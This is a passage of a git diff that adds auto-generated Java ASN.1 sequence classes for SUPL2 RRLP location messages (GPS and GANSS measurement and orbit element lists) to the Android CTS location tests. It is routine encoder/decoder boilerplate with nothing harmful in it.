+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfGANSS_SgnElement
+ extends Asn1SequenceOf<GANSS_SgnElement> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfGANSS_SgnElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfGANSS_SgnElement() {
+ super();
+ setMinSize(1);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfGANSS_SgnElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfGANSS_SgnElement != null) {
+ return ImmutableList.of(TAG_SeqOfGANSS_SgnElement);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfGANSS_SgnElement from encoded stream.
+ */
+ public static SeqOfGANSS_SgnElement fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfGANSS_SgnElement result = new SeqOfGANSS_SgnElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfGANSS_SgnElement from encoded stream.
+ */
+ public static SeqOfGANSS_SgnElement fromPerAligned(byte[] encodedBytes) {
+ SeqOfGANSS_SgnElement result = new SeqOfGANSS_SgnElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GANSS_SgnElement createAndAddValue() {
+ GANSS_SgnElement value = new GANSS_SgnElement();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfGANSS_SgnElement = [\n");
+ final String internalIndent = indent + " ";
+ for (GANSS_SgnElement value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_SgnTypeElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_SgnTypeElement.java
new file mode 100755
index 0000000..67d26bd
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_SgnTypeElement.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfGANSS_SgnTypeElement
+ extends Asn1SequenceOf<GANSS_SgnTypeElement> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfGANSS_SgnTypeElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfGANSS_SgnTypeElement() {
+ super();
+ setMinSize(1);
+setMaxSize(8);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfGANSS_SgnTypeElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfGANSS_SgnTypeElement != null) {
+ return ImmutableList.of(TAG_SeqOfGANSS_SgnTypeElement);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfGANSS_SgnTypeElement from encoded stream.
+ */
+ public static SeqOfGANSS_SgnTypeElement fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfGANSS_SgnTypeElement result = new SeqOfGANSS_SgnTypeElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfGANSS_SgnTypeElement from encoded stream.
+ */
+ public static SeqOfGANSS_SgnTypeElement fromPerAligned(byte[] encodedBytes) {
+ SeqOfGANSS_SgnTypeElement result = new SeqOfGANSS_SgnTypeElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GANSS_SgnTypeElement createAndAddValue() {
+ GANSS_SgnTypeElement value = new GANSS_SgnTypeElement();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfGANSS_SgnTypeElement = [\n");
+ final String internalIndent = indent + " ";
+ for (GANSS_SgnTypeElement value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGPSRefOrbit.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGPSRefOrbit.java
new file mode 100755
index 0000000..89137df
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGPSRefOrbit.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfGPSRefOrbit
+ extends Asn1SequenceOf<GPSReferenceOrbit> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfGPSRefOrbit
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfGPSRefOrbit() {
+ super();
+ setMinSize(1);
+setMaxSize(32);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfGPSRefOrbit;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfGPSRefOrbit != null) {
+ return ImmutableList.of(TAG_SeqOfGPSRefOrbit);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfGPSRefOrbit from encoded stream.
+ */
+ public static SeqOfGPSRefOrbit fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfGPSRefOrbit result = new SeqOfGPSRefOrbit();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfGPSRefOrbit from encoded stream.
+ */
+ public static SeqOfGPSRefOrbit fromPerAligned(byte[] encodedBytes) {
+ SeqOfGPSRefOrbit result = new SeqOfGPSRefOrbit();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GPSReferenceOrbit createAndAddValue() {
+ GPSReferenceOrbit value = new GPSReferenceOrbit();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfGPSRefOrbit = [\n");
+ final String internalIndent = indent + " ";
+ for (GPSReferenceOrbit value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGPS_MsrElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGPS_MsrElement.java
new file mode 100755
index 0000000..cda9bb1
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGPS_MsrElement.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfGPS_MsrElement
+ extends Asn1SequenceOf<GPS_MsrElement> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfGPS_MsrElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfGPS_MsrElement() {
+ super();
+ setMinSize(1);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfGPS_MsrElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfGPS_MsrElement != null) {
+ return ImmutableList.of(TAG_SeqOfGPS_MsrElement);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfGPS_MsrElement from encoded stream.
+ */
+ public static SeqOfGPS_MsrElement fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfGPS_MsrElement result = new SeqOfGPS_MsrElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfGPS_MsrElement from encoded stream.
+ */
+ public static SeqOfGPS_MsrElement fromPerAligned(byte[] encodedBytes) {
+ SeqOfGPS_MsrElement result = new SeqOfGPS_MsrElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GPS_MsrElement createAndAddValue() {
+ GPS_MsrElement value = new GPS_MsrElement();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfGPS_MsrElement = [\n");
+ final String internalIndent = indent + " ";
+ for (GPS_MsrElement value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGPS_MsrSetElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGPS_MsrSetElement.java
new file mode 100755
index 0000000..f16bb83
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGPS_MsrSetElement.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfGPS_MsrSetElement
+ extends Asn1SequenceOf<GPS_MsrSetElement> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfGPS_MsrSetElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfGPS_MsrSetElement() {
+ super();
+ setMinSize(1);
+setMaxSize(3);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfGPS_MsrSetElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfGPS_MsrSetElement != null) {
+ return ImmutableList.of(TAG_SeqOfGPS_MsrSetElement);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfGPS_MsrSetElement from encoded stream.
+ */
+ public static SeqOfGPS_MsrSetElement fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfGPS_MsrSetElement result = new SeqOfGPS_MsrSetElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfGPS_MsrSetElement from encoded stream.
+ */
+ public static SeqOfGPS_MsrSetElement fromPerAligned(byte[] encodedBytes) {
+ SeqOfGPS_MsrSetElement result = new SeqOfGPS_MsrSetElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GPS_MsrSetElement createAndAddValue() {
+ GPS_MsrSetElement value = new GPS_MsrSetElement();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfGPS_MsrSetElement = [\n");
+ final String internalIndent = indent + " ";
+ for (GPS_MsrSetElement value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGanssDataBitsElement.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGanssDataBitsElement.java
new file mode 100755
index 0000000..a5a7e0c
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGanssDataBitsElement.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfGanssDataBitsElement
+ extends Asn1SequenceOf<GanssDataBitsElement> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfGanssDataBitsElement
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfGanssDataBitsElement() {
+ super();
+ setMinSize(1);
+setMaxSize(32);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfGanssDataBitsElement;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfGanssDataBitsElement != null) {
+ return ImmutableList.of(TAG_SeqOfGanssDataBitsElement);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfGanssDataBitsElement from encoded stream.
+ */
+ public static SeqOfGanssDataBitsElement fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfGanssDataBitsElement result = new SeqOfGanssDataBitsElement();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfGanssDataBitsElement from encoded stream.
+ */
+ public static SeqOfGanssDataBitsElement fromPerAligned(byte[] encodedBytes) {
+ SeqOfGanssDataBitsElement result = new SeqOfGanssDataBitsElement();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GanssDataBitsElement createAndAddValue() {
+ GanssDataBitsElement value = new GanssDataBitsElement();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfGanssDataBitsElement = [\n");
+ final String internalIndent = indent + " ";
+ for (GanssDataBitsElement value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfMsrAssistBTS.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfMsrAssistBTS.java
new file mode 100755
index 0000000..2c32a87
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfMsrAssistBTS.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfMsrAssistBTS
+ extends Asn1SequenceOf<MsrAssistBTS> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfMsrAssistBTS
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfMsrAssistBTS() {
+ super();
+ setMinSize(1);
+setMaxSize(15);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfMsrAssistBTS;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfMsrAssistBTS != null) {
+ return ImmutableList.of(TAG_SeqOfMsrAssistBTS);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfMsrAssistBTS from encoded stream.
+ */
+ public static SeqOfMsrAssistBTS fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfMsrAssistBTS result = new SeqOfMsrAssistBTS();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfMsrAssistBTS from encoded stream.
+ */
+ public static SeqOfMsrAssistBTS fromPerAligned(byte[] encodedBytes) {
+ SeqOfMsrAssistBTS result = new SeqOfMsrAssistBTS();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public MsrAssistBTS createAndAddValue() {
+ MsrAssistBTS value = new MsrAssistBTS();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfMsrAssistBTS = [\n");
+ final String internalIndent = indent + " ";
+ for (MsrAssistBTS value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfMsrAssistBTS_R98_ExpOTD.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfMsrAssistBTS_R98_ExpOTD.java
new file mode 100755
index 0000000..a900cba
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfMsrAssistBTS_R98_ExpOTD.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class SeqOfMsrAssistBTS_R98_ExpOTD
+ extends Asn1SequenceOf<MsrAssistBTS_R98_ExpOTD> {
+ //
+
+ private static final Asn1Tag TAG_SeqOfMsrAssistBTS_R98_ExpOTD
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SeqOfMsrAssistBTS_R98_ExpOTD() {
+ super();
+ setMinSize(1);
+setMaxSize(15);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SeqOfMsrAssistBTS_R98_ExpOTD;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SeqOfMsrAssistBTS_R98_ExpOTD != null) {
+ return ImmutableList.of(TAG_SeqOfMsrAssistBTS_R98_ExpOTD);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SeqOfMsrAssistBTS_R98_ExpOTD from encoded stream.
+ */
+ public static SeqOfMsrAssistBTS_R98_ExpOTD fromPerUnaligned(byte[] encodedBytes) {
+ SeqOfMsrAssistBTS_R98_ExpOTD result = new SeqOfMsrAssistBTS_R98_ExpOTD();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SeqOfMsrAssistBTS_R98_ExpOTD from encoded stream.
+ */
+ public static SeqOfMsrAssistBTS_R98_ExpOTD fromPerAligned(byte[] encodedBytes) {
+ SeqOfMsrAssistBTS_R98_ExpOTD result = new SeqOfMsrAssistBTS_R98_ExpOTD();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public MsrAssistBTS_R98_ExpOTD createAndAddValue() {
+ MsrAssistBTS_R98_ExpOTD value = new MsrAssistBTS_R98_ExpOTD();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SeqOfMsrAssistBTS_R98_ExpOTD = [\n");
+ final String internalIndent = indent + " ";
